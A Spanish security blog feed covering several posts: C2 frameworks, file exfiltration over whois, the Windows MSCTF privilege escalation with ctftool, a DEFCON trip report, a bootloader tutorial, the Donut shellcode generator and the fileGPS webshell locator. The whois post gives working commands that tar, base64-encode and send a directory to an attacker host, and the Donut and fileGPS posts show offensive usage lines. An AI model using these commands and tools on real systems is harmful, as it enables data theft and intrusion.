1. APfell: es un framework C2 multiplataforma, hecho con python3, docker, docker-compose y una interfaz de usuario nweb. Incluye soporte para múltiples perfiles C2, múltiples tipos de payload incluyendo una interesante extensión para Chrome y JavaScript para Automatización (JXA) en Mac OS. Y además mapea con MITRE ATT&CK. Curiosamente, este framework se inspira en familias de malware conocidas como PlugX, Flame, etc.

2. Aura Botnet: un framework orientado a botnets muy portable con un servidor C2 basado en Django. El cliente está escrito en C++, con clientes alternativos escritos en Rust, Bash y Powershell.

3. Covenant: lo que lo diferencia sobretodo este framework del resto es que admite .NET Core, que es multiplataforma. Por lo tanto, Covenant puede ejecutarse de forma nativa en plataformas Linux, MacOS y Windows. Además, Covenant tiene soporte para Docker, lo que le permite ejecutarse dentro de un contenedor en cualquier sistema que tenga instalado Docker. Consta de tres componentes: Covenant (componente del lado del servidor), Elite (componente del lado del cliente) y Grunt (implante).

4. Faction C2: Se centra en proporcionar una plataforma fácil, estable y accesible para las comunicaciones C2 a través de las API REST y Socket.IO. Podemos usar Marauder, un agente de .NET de ejemplo para Faction C2 Framework pero también podemos crear fácilmente nuestro propio agente. Además este framework tiene un sistema de control de acceso basado en roles y los datos pueden consultarse usando consultas SQL.

5. FudgeC2: es un framework C2 con una parte web en Python3/Flask y un implante en Powershell diseñado para facilitar las actividades de un purple team, la revisión posterior a una campaña y el timelining. El implante de Fudges también admite diferentes niveles y tipos de ofuscación para permitir que se realicen diferentes niveles de ruido durante el compromiso para ayudar a un SoC a comparar sus habilidades de detección.

6. iBombshell: se trata de la "shell" de post-explotación que nos presentó Pablo González y Álvaro Nuñez en la última hc0n2019. Tiene como objetivo poder usarse prácticamente en cualquier equipo con Windows, gracias a que es descargada desde el repo dinámicamente. Bueno, realmente tiene dos modos de ejecución, el denominado "everywhere" con Powershell y otro adicional llamado "silently" gracias a un C2 escrito en Python.

7. Koadic: un rootkit de post-explotación de Windows similar a otras herramientas de pentesting como Meterpreter, Cobalt Strike o Powershell Empire. La principal diferencia es que Koadic hace la mayoría de sus operaciones usando Windows Script Host (aka JScript/VBScript) y tiene compatibilidad para soportar desde una instalación predeterminada de Windows 2000 sin service packs (y potencialmente incluso versiones de NT4) hasta Windows 10.

8. Merlin: es una buena herramienta multiplataforma escrita en el lenguaje Go. Está formado por dos elementos, el servidor y el agente y destaca sobretodo porque funciona en el protocolo HTTP/2, un protocolo relativamente nuevo que usa cifrado Perfect Forward Secrecy (PFS) y que nos permitirá evadir sistemas que inspeccionan el tráfico.

9. Nuages: se trata de un framework de código abierto para desarrollar y administrar implantes compatibles que puedan aprovechar todos los recursos de back-end ya desarrollados. Su core es accesible a través de REST o Socket.io.

10. PoshC2: es un framework compatible con proxy que utiliza Powershell y/o equivalente (System.Management.Automation.dll) para la base del implant, ya que proporciona todas las funciones y características avanzadas sin necesidad de introducir múltiples bibliotecas de terceros. Además del implante Powershell, PoshC2 también tiene un dropper básico escrito exclusivamente en Python que puede usarse para C&C sobre sistemas basados en Unix/Linux como Mac OS o Ubuntu.

11. Sliver: es un framework de Comando y Control (C2) creado para pentesters, redteamers y APTs avanzadas. Genera implantes (slivers) que pueden ejecutarse en prácticamente todas las arquitecturas, y facilita la adminitración de las conexiones de forma segura a través de un servidor central.

Sliver admite varios protocolos de callback, incluidos DNS, TCP y HTTP(S), para simplificar la conexión de vuelta o callback, incluso cuando esos molestos blue teams bloquean los dominios. También permite tener múltiples operadores (jugadores) al mismo tiempo al mando de tu ejército de slivers.

12. SILENTTRINITY:  byt3bl33d3r, creador también del conocido proyecto CrackMapExec, creó un agente de post explotación basado en C#/.NET, Python e IronPython. Esta herramienta aprovecha todas las virtudes de .NET a través de C#, uniéndolo a una ejecución en memoria y una usabilidad al más puro estilo de Empire.

13. TrevorC2: usa un modelo cliente/servidor para enmascarar las intrucciones de C&C a través de un sitio web normalmente navegable. La detección se vuelve mucho más difícil ya que los intervalos de tiempo son diferentes y no utiliza solicitudes POST para la filtración de datos. Es compatible con Windows, MacOS y Linux.

¿Conoces más? ¡Comenta!

Exfiltrando información con un simple comando 'whois'

$
0
0
Hoy en día solemos abrir el navegador y usar servicios web de 'Whois' para consultar el dueño de un dominio o dirección IP. Pero no olvidemos que Whois es también un protocolo TCP que se creó en los años 80 y que todavía podemos usar desde la línea de comandos: sólo tenemos que tener el puerto 43/TCP abierto y podremos consultar directamente un dominio e información de AS e IP... ¿¿sólo??


Pues evidentemente y como habréis podido imaginar podemos usar también 'Whois' para el "mal", como por ejemplo exfiltrar información a través de este protocolo. Andy Kawa nos enseñaba un método sencillo para hacerlo. Veamos cómo...

En la máquina del atacante levantamos un netcat y lo dejamos a la escucha, volcando la salida también a un fichero:

ncat -k -l -p 4444 | tee files.b64

Y ahora, desde la máquina que hemos comprometido o desde la cual queremos transferirnos un fichero simplemente tenemos que empaquetar el directorio que queramos exfiltrar y mandarlo en base64 (recordar que tenemos que tener el puerto 43/TCP abierto). En mi caso, como veréis a continuación, en vez de mandar una cantidad determinada de bytes lo limitaré por número de caracteres:

tar czf - /path/to/directory/* | base64 | tr '\n''\0' | xargs -0 -s 2000 timeout 0.03 whois -h attacker.machine.IP -p 4444


Una vez recibido el "stream" en base64 sólo tenemos que realizar los pasos a la inversa para obtener el binario:

$ file files.b64
files.b64: ASCII text, with very long lines, with CRLF line terminators


$ cat files.b64 | tr -d '\r\n\ ' | base64 -d > exfiltered.tar.gz 

$ file exfiltered.tar.gz
exfiltered.tar.gz: gzip compressed data, last modified: Mon Aug 11 02:47:24 2019, from Unix


Y ya está! tenemos en la máquina del atacante el fichero transferido.

De XP a Windows 10: explotando Microsoft CTF

$
0
0
Tavis Ormandy de Project Zero de Google ha publicado una vulnerabilidad que afecta a todas las versiones de Windows, desde XP a 10.

El problema está en el subsistema MSCTF que es parte del framework de servicios de texto o TSF (Text Service Framework). El TSF administra cosas como métodos de entrada, distribuciones de teclado, procesamiento de texto, etc.

Hay dos componentes principales, el servidor/monitor ctfmon y el cliente msctf. El servicio ctfmon arranca cuando se inicia sesión en la máquina como puedes comprobar simplemente viendo el administrador de tareas:


Este servicio crea un puerto ALPC (Local Inter-Process Communication) al que las aplicaciones se conectan para intercambiar mensajes sobre cambios en el layout del teclado o métodos de entrada. Cuando cualquier proceso crea una ventana, el kernel invoca una devolución de llamada o callback, USER32!CtfHookProcWorker, que carga automáticamente el cliente msctf.

El cliente se conecta al puerto ALPC y manda su HWND, el subproceso y la identificación del proceso.

El servidor espera continuamente los mensajes de los clientes, pero los clientes solo buscan mensajes cuando se les notifica a través de PostMessage(). Esta es la razón por la que los clientes llaman a RegisterWindowMessage() al inicio.

Los clientes pueden enviar comandos al monitor o pedirle al monitor que reenvíe comandos a otros clientes especificando el threat id, es decir, se pueden mandar mensajes a cualquier subproceso conectado, o al propio monitor configurando el destino en el subproceso cero. Además el protocolo CTF es bastante extenso, tiene muchos parámetros y hay fallos de diseño en este sistema... y Tavis Ormandy ha creado una herramienta llamada CTFtool que nos permitirá interactuar como cliente desde la línea de comandos para experimentarlos.

Podéis descargar incluso una versión compilada desde su repositorio de Github: https://github.com/taviso/ctftool/releases

Empezaremos conectándonos a nuestra sesión y viendo los clientes conectados:


¡No solo se puede enviar comandos al servidor, podemos esperar a que se conecte un cliente en particular y luego pedirle al servidor que también le envíe comandos! Además, como habéis podido imaginar, no hay un control de acceso entre los clientes y el servidor de MSCTF, lo que nos permitirá mandar comandos incluso a aplicaciones/clientes con privilegios elevados.

Y evidentemente tampoco vamos a conformarnos con cambiar una distribución de teclado para trollear...  un protocolo tan antiguo como CTF tiene vulnerabilidades de corrupción de memoria y vamos a poder explotar un integer overflow para... por ejemplo, obtener una shell interactiva con privilegios de SYSTEM. "Sólo" hay que evadir CFG y ASLR y la magia ocurre...

A la caza del cliente CTF con privilegios

Ahora que sabemos que se puede comprometer a cualquier cliente CTF, ¿cómo encontramos algo útil? Como decimos, no hay control de acceso en CTF, por lo que podemos conectarnos a la sesión activa de otro usuario o esperar a que un Administrador inicie sesión y comprometer su sesión. Sin embargo, hay una mejor opción: si usamos USER32!LockWorkstation, podemos cambiar al escritorio Winlogon privilegiado que ya se está ejecutando como SYSTEM!:


O si quieres aprovecharte del cuadro de diálogo UAC con el correspondiente script sólo tienes que esperar y se iniciará la shell con privilegios:


Bonito... ¿verdad? ;)

Ahora a ver cómo M$ moderniza su protocolo CTF, porque esto y como dice Tavis (mis dieses y mis miles) es sólo la punta del iceberg...

Más info y detalle: https://github.com/taviso/ctftool

Una #DEFCON muy especial

$
0
0
La semana pasada tuve el placer de asistir al mayor evento de seguridad informática del mundo: la #defcon en su edición número 27 y vamos a contar la experiencia...
Pues si estáis pensando en ir a la #defcon en próximas ediciones, este artículo os puede servir de referencia.

CONTEXTO

Después de mucho tiempo hablando con mi compinche @JR_kneda sobre ir a este evento, decidimos comprar los vuelos y el hotel en Enero, ya que no nos lo pagaba la empresa, y teníamos pocos días disponibles para la aventura.

EL VIDEO

Al lío, en este video-resumen que se ha trabajado mi compinche, lo tenéis casi todo resumido:
DEFCON 27 from Security and Ethical Hacking on Vimeo.

GASTOS VARIOS

Un punto importante era el presupuesto final que estimamos en 2000€ cada uno,  finalmente algunos dólares nos sobraron para regresar el año que viene...
A tener en cuenta por persona y en euros:
  1. Viajes de avión + hotel 5 días: 850€
  2. Entrada del evento: 270€
  3. Alquiler de Coche: 90€
  4. Trasporte interno (Lyft): 28€
  5. Tarjeta Sim con datos: 25€ 
  6. Refrigerios y varios: 200€ 
  7. Entradas turísticas (Gan cañon y presa Hoover): 90€
  8. Eventos alternativos: 25€ 
  9. Compras: 100€ 
No se han contemplado las apuestas en los casinos pero al final ganó la banca :(

LO POSITIVO

  • Los contenidos técnicos
  • El ambiente del evento y networking
  • Las variedad de temáticas
  • Las Vegas y sus posibilidades...

LO NEGATIVO

  • La cantidad de contenidos paralelos que te pierdes por la distrubución de agenda/localización
  • Coste medio-alto (si no te lo paga la empresa) para unos días

EXTRA

Ya os podéis descargar parte del contenido de esta #DEFCON27 y así tener más info:
Presentaciones
Música de esta edición
Página Web oficial

Saludos y nos vemos en Las Vegas el año que viene!!!

Escribiendo un sencillo bootloader

$
0
0
Algunos tipos de malware se guardan así mismos en el Master Boot Record (en adelante MBR) como método de persistencia arrancándose durante el proceso de inicio del sistema. Recientemente, Marco Ramilli (basándose en los trabajos de Prabir Shrestha y Martin Splitt) explicaba brevemente como funcionaba el MBR y cómo escribir un programa bootloader, skill básica que nos ayudará a analizar artefactos de malware que implementen esta característica.

¿Cómo funciona el proceso de arranque de un PC?

En realidad, el proceso de arranque es súper fácil. Cuando presionamos el botón de encendido, proporcionamos la potencia necesaria para la electrónica del PC. Una vez que se enciende la BIOS, comienza ejecutando su propio código almacenado y cuando termina de ejecutar sus rutinas de inicialización, busca dispositivos de arranque.

Un dispositivo de arranque es un dispositivo conectado físicamente que tiene 521 bytes de código al principio y que contiene el número mágico de arranque: 0x55AA como últimos 2 bytes. Si la BIOS encuentra 510 bytes seguidos de 0x55AA, toma los 510 bytes anteriores los mueve a la RAM (a la dirección 0x7c00) y asume que son bytes ejecutables. Este código es el llamado gestor de arranque.

Solo una nota al margen: el gestor de arranque se escribirá en 16 bits ya que las CPU compatibles con x86 funcionan en "modo real" debido al limitado conjunto de instrucciones disponibles.

El código asm

El siguiente código en ensamblador con la sintaxis AT&T se ejecuta en el arranque mostrando 3 strings y una especie de progresión a modo reloj. Como la BIOS está "cerca" de la memoria, podemos usar un conjunto completo de instrucciones de BIOS e interrupciones como se muestran a continuación:

1. Int_10,02 para configurar el tamaño de la pantalla
2. int_10,07 para limpiar la pantalla de las salidas de la BIOS
3. int_12a, 02 para configurar las posiciones del cursor
4. int_1a, 02 para leer el estado del reloj
5. int_10,0e para escribir caracteres en la pantalla

1:  .code16 # usa 16 bits  
2:  .global main 
3:   
4:  main: 
5:   mov $0x0002, %ax 
6:   int $0x10 #setea 80x25 modo texto 
7:   
8:   mov $0x0700, %ax 
9:   mov $0x0f, %bh 
10:   mov $0x184f, %dx 
11:   xor %cx, %cx 
12:   int $0x10 #limpia la pantalla (fondo negro) 
13:   jmp print_message 
14:   
15:   
16:  print_living_clock: 
17:   
18:   mov $0x02, %ah 
19:   mov $0x00, %bh 
20:   mov $0x012a, %dx 
21:   int $0x10 #resetea la posición del cursor 
22:   
23:   # Lee el Timer 
24:   mov $0x02, %ah 
25:   int $0x1a 
26:    
27:   # Imprime Horas  
28:   mov $0x0e, %ah 
29:   mov %ch, %al 
30:   int $0x10  
31:   
32:   # Imprime '/' 
33:   mov $0x0e, %ah 
34:   mov $0x2f, %al 
35:   int $0x10 
36:   
37:   # Imprime Minutos 
38:   mov $0x0e, %ah 
39:   mov %cl, %al 
40:   int $0x10 
41:   
42:   # Imprime '/' 
43:   mov $0x0e, %ah 
44:   mov $0x2f, %al 
45:   int $0x10 
46:   
47:   # Imprime Segundos 
48:   mov $0x0e, %ah 
49:   mov %dh, %al 
50:   int $0x10 
51:    
52:   jmp print_living_clock 
53:   
54:  print_message: 
55:   mov $0x02, %ah 
56:   mov $0x00, %bh 
57:   mov $0x0000, %dx 
58:   int $0x10 # configura la posición del cursor  
59:   
60:   mov $msg, %si # carga la dirección del msg dentro de si 
61:   mov $0x0001, %cx 
62:   mov $0xe, %ah # carga 0xe (función number para int 0x10) dentro de ah 
63:   jmp print_char 
64:   
65:  print_message_2: 
66:   mov $0x02, %ah 
67:   mov $0x00, %bh 
68:   mov $0x0100, %dx 
69:   int $0x10 # configura la posición del cursor 
70:   
71:   mov $msg2, %si # carga la dirección del msg dentro de si 
72:   mov $0x0002, %cx 
73:   mov $0xe, %ah # carga 0xe (función number para int 0x10) dentro de ah 
74:   jmp print_char 
75:   
76:  print_message_3: 
77:   mov $0x02, %ah 
78:   mov $0x00, %bh 
79:   mov $0x0200, %dx 
80:   
81:   int $0x10 # configura la posición del cursor 
82:   mov $msg3, %si # carga la dirección del msg dentro de si 
83:   mov $0x0003, %cx 
84:   mov $0xe, %ah # carga 0xe (función number para int 0x10) dentro de ah 
85:   jmp print_char 
86:   
87:  print_char: 
88:   mov $0x0e, %ah 
89:   lodsb # carga el byte de la dirección en si dentro de al e incrementa si 
90:   cmp $0, %al # compara el contenido de AL con zero 
91:   je done # if al == 0, go to "done" 
92:   mov $0xc0, %bl 
93:   int $0x10 # imprime el caracter en al a pantalla 
94:   jmp print_char # lo repite con el siguiente byte 
95:   
96:  done: 
97:   cmp $0x0001, %cx 
98:   je print_message_2 
99:    
100:   cmp $0x0002, %cx 
101:   je print_message_3 
102:   
103:   cmp $0x0003, %cx 
104:   je print_living_clock 
105:    
106:  end: 
107:   hlt # para la ejecuciónMarco Ramilli 
108:  msg: .asciz "====================================================" 
109:  msg2: .asciz "     Ejemplo de programa de arranque      " 
110:  msg3: .asciz "====================================================" 
111:   
112:  .fill 510-(.-main), 1, 0 # añade 0s hasta 510 bytes long 
113:   
114:  .word 0xaa55 # byte mágico para decirle a la BIOS que es bootable 

Las dos primeras líneas:

1: .code16
2: .global main

indican que el código se escribirá en modo de 16 bits y la función etiquetada externa (expuesta) es la etiquetada como "main" (el linker lo necesita para configurar el punto de entrada original en el espacio de direcciones adecuado).

Las dos últimas líneas:

112: .fill 510 - (.- init), 1, 0
114: .word 0xaa55

indican que el código es bootable. En la línea 112 tenemos el comando de llenado que el compilador interpretará escribiendo de nops (hasta 510 bytes) para mantener la estructura del MBR. La línea 113 tiene el código mágico en little endian.

Todo el código usa el registro %cx para el estado actual. Por ejemplo, %cx podría ser: 0x0000 si se imprime msg, 0x0001 si se imprime msg2, 0x0002 si se imprime msg3 y 0x0003 si queremos iniciar el ciclo de impresión del reloj. Se usa un comando lodsb para iterar sobre los caracteres de cadena a fin de imprimirlos hasta el byte nulo (\0).

Nota (gracias Fare9): el código al ser 16 bits, no es muy complejo de analizar y las interrupciones son de sobra conocidas, un pdf como este creo que te vienen todas o casi todas: http://www2.ift.ulaval.ca/~marchand/ift17583/dosints.pdf

Herramientas usadas

En el ejemplo se utilizará GNU Assembler (compilador y linker) que implementa la sintaxis de AT&T, que es bastante diferente a la de Intel pero funciona bien para el código sencillo que vamos a usar.

Lo primero que usaremos es el compilador GNU (as), que tomará como entrada un archivo en ensamblador y devolverá su representación binaria:  

as -o boot.o boot.asm

Luego usaremos el enlazador o linker GNU (ld) para obtener un archivo binario sencillo sin librerias ni símbolos vinculados: --oformat binary
También tenemos que decirle al linker dónde comienza el código (-e main) y agregaríamos el parámetro -Ttext 0x7c00 en caso de que el código que vamos a escribir no se ajuste a un espacio de direcciones de 16 bits, por lo que forzaremos a nuestro linker a mapear la función main en dicha dirección, que sabemos que es la dirección donde la BIOS ejecuta el cargador de arranque o bootloader.

En definitiva, suponiendo que nuestro código se llana boot.asm y nuestro entry point original es 'main', podríamos usar el siguiente comando:

ld -o boot.bin --oformat binary -e main -Ttext 0x7c00 -o boot.bin boot.o

Y para ejecutar el código compilado, usaremos qemu de la siguiente manera:

qemu-system-x86_64 boot.bin


Nota (gracias Fare9): lo bueno de qemu es que te permite especificar un flag de depuración por tcp, al que puedes conectarte con gdb en remoto (o IDA a través de gdb), poner el breakpoint en 0x7C00, y en cuanto la bios haya cargado el MBR, empezar a depurar: https://en.wikibooks.org/wiki/QEMU/Debugging_with_QEMU

Referencias:

- https://marcoramilli.com/2019/09/03/writing-your-first-bootloader-for-better-analyses/
- https://50linesofco.de/post/2018-02-28-writing-an-x86-hello-world-bootloader-with-assembly
- https://securityaffairs.co/wordpress/90733/malware/writing-bootloader.html
- https://www.codeproject.com/articles/664165/writing-a-boot-loader-in-assembly-and-c-part
- https://github.com/prabirshrestha/writing-an-os-from-scratch/blob/master/src/bootloader/6-asm/boot.S

Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (1 de 2)

$
0
0
En 2015, el AMSI (Antimalware Scan Interface) fue integrado en varios componentes de Windows usados para ejecutar scripts (VBScript, JScript, PowerShell). Casi al mismo tiempo, se agregó a PowerShell Script Block Logging permitiendo capturar el contenido completo de los scripts que se ejecutan, eliminando así cualquier ofuscación utilizada. De esta manera los Red Teams tuvieron que dar otro pasito y empezaron a usar ensamblados o assemblies (suena mejor en inglés) generalmente escritos en C#. Ahora lo veremos en más detalle que son, pero adelantaros que los assemblies brindan toda la funcionalidad de PowerShell pero con la clara ventaja de cargar y ejecutar completamente desde la memoria y además hoy en día casi todas las máquinas con microsoft Windows tienen el framework .NET instalado que pueden usarlo así que ¡buena combinación!

Ya sabéis que .NET fue creado para rivalizar y reemplazar a Java por lo que tiene ciertas similitudes. Es "compilado" a CIL, un lenguaje intermedio y usa código managed compilado just-in-time por el CLR (además de poder operar con código unmanaged o nativo). Soporta C#, F#, C++/CLI, PowerShell, JScript, VBScript, IronPython, IronRuby y permite operar entre ellos. Antes de comenzar, debemos comprender algunos componentes importantes de .NET.

- CLR o Common Language Runtime: al igual que Java, .NET utiliza un entorno (o "máquina virtual") para interpretar el código en tiempo de ejecución. Todo el código .NET se compila en un lenguaje intermedio al código nativo "Just-In-Time" antes de la ejecución.

- CIL o Common Intermediate Language: hablando de un lenguaje intermedio, .NET usa CIL (también conocido como MSIL). Todos los lenguajes .NET (de los cuales hay muchos) están en "assemblies" en este lenguaje intermedio. CIL es un lenguaje assembly genérico orientado a objetos que se puede interpretar en código máquina para cualquier arquitectura de hardware. Como tal, los diseñadores de lenguajes .NET no necesitan diseñar sus compiladores en torno a las arquitecturas en las que se ejecutarán. En cambio, simplemente necesitan diseñarlo para compilarlo en un idioma: CIL.

- Assemblies .NET: las aplicaciones .NET se empaquetan en .NET Assemblies. Se llaman así porque el código de su lenguaje elegido se ha "ensamblado" en CIL pero no se ha compilado realmente. Los assemblies usan una extensión del formato PE y se representan como un EXE o una DLL que contiene CIL en lugar de código de máquina nativo.

- Dominios de aplicación: los assemblies se ejecutan dentro de una "caja" segura conocida como dominio de aplicación. Pueden existir varios assemblies dentro de un dominio de aplicación, y pueden existir múltiples dominios de aplicación dentro de un proceso. Los AppDomains están destinados a proporcionar el mismo nivel de aislamiento entre los ensamblajes en ejecución que normalmente se proporciona para los procesos. Los subprocesos pueden moverse entre AppDomains y pueden compartir objetos a través de la organización y los delegados.

Estado del arte en .NET

En Windows el framework .NET permite operar en memoria para no tocar el disco pero sin embargo está bastante restringido. Hasta hace poco se usaban dos formas principales:

- Assembly.Load(): la librería estándar del framework .NET incluye una API para la reflexión de código. Esta API incluye System.Reflection.Assembly.Load, que se puede usar para cargar programas .NET desde la memoria. En menos de cinco líneas de código, puede cargar una DLL .NET o EXE desde la memoria y ejecutarlo. Si bien la API de Reflection es muy versátil y puede ser útil de muchas maneras diferentes, solo puede ejecutar código en el proceso actual. No se proporciona soporte para ejecutar payloads en procesos remotos.

- execute-assembly: Raphael Mudge introdujo en Cobalt Strike 3.11 un comando llamado "execute-assembly" que ejecutaba assemblies .NET desde la memoria como si se ejecutaran desde el disco. El principal problema con execute-assembly es que se ejecuta de la misma manera cada vez. Esa previsibilidad asegura que sea confiable, pero también permite a los defensores crear análisis. Tampoco permite inyectar en un proceso remoto que esté en ejecución, ni especificar cómo se produce esa inyección. Además tiene una limitación de 1 MB  de tamaño para sus payloads, lo que limita su flexibilidad en el diseño de herramientas posteriores a la explotación.

Avanzando

Para superar estas limitaciones, necesitamos una técnica que cumpla con los siguientes requisitos:

- permita ejecutar código .NET desde la memoria.
- pueda funcionar con cualquier proceso de Windows, independientemente de su arquitectura y de si tiene cargado el CLR.
- permita inyectar ese código en un proceso remoto (diferente) o en el proceso local (actual).
- permita determinar de qué manera se produce esa inyección.
- funcione con múltiples tipos de procesos de inyección.

El tipo de payload más flexible que cumpla esos requisitos es un shellcode pero no se puede convertir un assembly .NET a shellcode porque, como hemos dicho, se ejecutan a través de un entorno de tiempo de ejecución, no directamente en el hardware. ¿No sería genial si pudiéramos inyectar assemblies .NET como shellcodes? ¿Te apetece un donut?

Introduciendo Donut

Donut, creado por Odzhan y TheWover, es una herramienta que permite crear un PIC (position-independent code) o shellcode x86 o x64 que puede cargar un assembly .NET desde la memoria. Es decir, a partir de un Assembly .NET, parámetros y un punto de entrada (como Program.Main), produce un shellcode capaz de cargarse en memoria. El assembly .NET se puede cargar desde una url o directamente embeberlo en el shellcode y, en cualquier caso, estará cifrado con Chaskey y una clave generada aleatoriamente de 128 bits. Después de cargar el assembly a través del CLR, la referencia original se borra de la memoria para disuadir a los escáneres de memoria. El assembly se carga en un nuevo dominio de aplicación para permitir la ejecución de assemblies en AppDomains desechables.

Repo: https://github.com/TheWover/donut

Cómo funciona

Unmanaged Hosting API

Microsoft proporciona una API conocida como la API de alojamiento CLR no administrado, en inglés Unmanaged Hosting API. Esta API permite al código no administrado (como C o C++) alojar, inspeccionar, configurar y usar Common Language Runtimes. Es una API legítima que se puede usar para muchos propósitos. Microsoft lo usa para varios de sus productos, y otras compañías lo usan para diseñar cargadores personalizados para sus programas. Se puede utilizar para mejorar el rendimiento de las aplicaciones .NET, crear sandboxes o simplemente hacer cosas extrañas...

Una de las cosas que puede hacer es cargar manualmente assemblies .NET en dominios de aplicación arbitrarios. Puede hacer esto desde el disco o desde la memoria. Donut usa esta capacidad para cargar desde la memoria, es decir, para cargar el payload sin tocar el disco.

Inyección CLR

La primera acción que realiza el shellcode de donut es cargar el CLR. Una vez que se carga el CLR, el shellcode crea un nuevo dominio de aplicación. En este punto, se debe obtener el payload del assembly .NET. Si el usuario proporcionó una URL se descargará de ahí el assembly. De lo contrario, se obtendrá de la memoria. De cualquier manera, se cargará en el nuevo "AppDomain". Después de cargar el assembly pero antes de ejecutarlo, la copia descifrada se liberará y luego se liberará de la memoria con VirtualFree para evadir los escáneres de memoria. Finalmente, el punto de entrada especificado por el usuario se invocará junto con cualquier parámetro proporcionado.

Si el CLR ya está cargado en el proceso del host, el shellcode de donut seguirá funcionando. El assembly .NET se cargará en un nuevo dominio de aplicación dentro del proceso administrado. .NET está diseñado para permitir que los assemblies .NET creados para múltiples versiones de .NET se ejecuten simultáneamente en el mismo proceso. Como tal, su payload siempre debe ejecutarse sin importar el estado del proceso antes de la inyección.

Generación de Shellcode

La lógica anterior describe cómo funciona el shellcode generado por donut. Esa lógica se define en payload.exe. Para obtener el shellcode, exe2h extrae el código de máquina compilado del segmento .text en payload.exe y lo guarda como un array en C en un archivo header en C. Donut combina el shellcode con una instancia de Donut (una configuración para el shellcode) y un módulo Donut (una estructura que contiene el assembly .NET, el nombre de la clase, el nombre del método y cualquier parámetro).

Para generar el shellcode con donut se debe especificar un assembly .NET, un punto de entrada y cualquier parámetro que deseemos usar. Por ejemplo, si nuestro assembly usa el espacio de nombres Test e incluye la clase Program con método Main, entonces usaríamos las siguientes opciones:

donut.exe -f Test.exe -c Test.Program -m Main

Para generar el mismo shellcode en procesadores de 32-bit, usaremos la opción ‘-a’:

donut.exe -a 1 -f Test.exe -c Test.Program -m Main

También se pueden proporcionar parámetros a cualquier punto de entrada que especifiquemos. La longitud máxima de cada parámetro actualmente es de 32 caracteres. Para demostrar esta funcionalidad, podemos usar las siguientes opciones y nuestro assembly de ejemplo para crear un shellcode que generará un proceso de Bloc de notas y un proceso de Calc:

.\donut.exe -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

Al generar un shellcode para ejecutarse en una máquina Windows más antigua, es posible que necesitemos usar la v2 del CLR, en lugar de la v4. v2 funciona para versiones de .NET Framework <= 3.5, mientras que v4 funciona para versiones> = 4.0. Por defecto, donut usa la versión 4 del CLR. Podemos pedirle que use v2 con la opción "r" y especificando "v2.0.50727" como parámetro.

.\donut.exe -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

El nombre del dominio de aplicación para el payload .NET también se puede especificar manualmente usando la opción "-d". Por defecto, se generará aleatoriamente. Podemos especificar un nombre así:

.\donut.exe -d ResourceDomain -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

Para reducir el tamaño del shellcode (o por muchas otras razones) se puede especificar una URL donde se alojará el payload. Donut producirá un Módulo Donut cifrado con un nombre aleatorio que deberemos colocar en la URI que se especificó. El nombre y la ubicación donde debemos colocarlo se imprimirá en su pantalla cuando generemos el shellcode.

.\donut.exe -u http://remote_server.com/modules/ -d ResourceDomain -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

Y hasta aquí la primera parte de este post, como veis teórica pero necesaria para entender como funciona la herramienta. En la siguiente entrada veremos ya un caso práctico de uso de Donut :)


Referencias:

- https://thewover.github.io/Introducing-Donut/
- https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/

FileGPS: herramienta para encontrar un archivo renombrado a través de un formulario de upload

$
0
0
Cuando estamos auditando un sitio web y logramos subir una webshell o simplemente un archivo de prueba a través de un formulario de upload, generalmente se renombra de varias maneras para evitar el acceso directo, RCE o su sobrescritura.

fileGPS es una herramienta que utiliza varias técnicas para encontrar el nuevo nombre de archivo, después de que el script correspondiente del lado del servidor cambie el nombre y lo guarde.

Algunas de las técnicas que fileGPS prueba son:

- Varios hashes del nombre del archivo
- Varias combinaciones de timestamps
- Nombre de archivo + tiempo de PHP() hasta 5 minutos antes del inicio del script
-  Muchos mas

Características

- Fácil de usar
- multihilo
- soporte proxy HTTP(s)
- agente de usuario aleatorio
- cerca de 100.000 nombres de archivo

Instalación

En ParrotOS:

sudo apt install filegps

En BlackArch Linux:

pacman -S filegps

En otras distros:

git clone https://github.com/0blio/filegp

Ejemplos de uso


fileGPS -u http://target.com/upload/images --file shell.php

fileGPS -u http://target.com/upload/images --file shell.php --modules shame,mytestmodule

fileGPS -u http://target.com/upload/images --file shell.php --proxy 127.0.0.1:9050 --cookie mycookies

Cómo escribir un módulo

Escribir un módulo es bastante simple y permite implementar formas personalizadas de generar combinaciones de nombres de archivo.

A continuación se muestra una plantilla para los módulos:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
  Module name: test
  Coded by: Your name / nickname
  Version: X.X
 
  Description:
    This module destroy the world.
"""
output = []

# Do some computations here

output = ["filename1.php", "filename2.asp", "filename3.jar"]

Las variables url y filename se importan automáticamente del script core, por lo que se pueden llamar en su módulo.

Una vez que escribamos nuestro módulo simplemente tendremos que guardarlo en Modules/ y se importará automáticamente una vez que se inicie el script principal.

Repo: https://github.com/0blio/filegps
Viewing all 1674 articles
Browse latest View live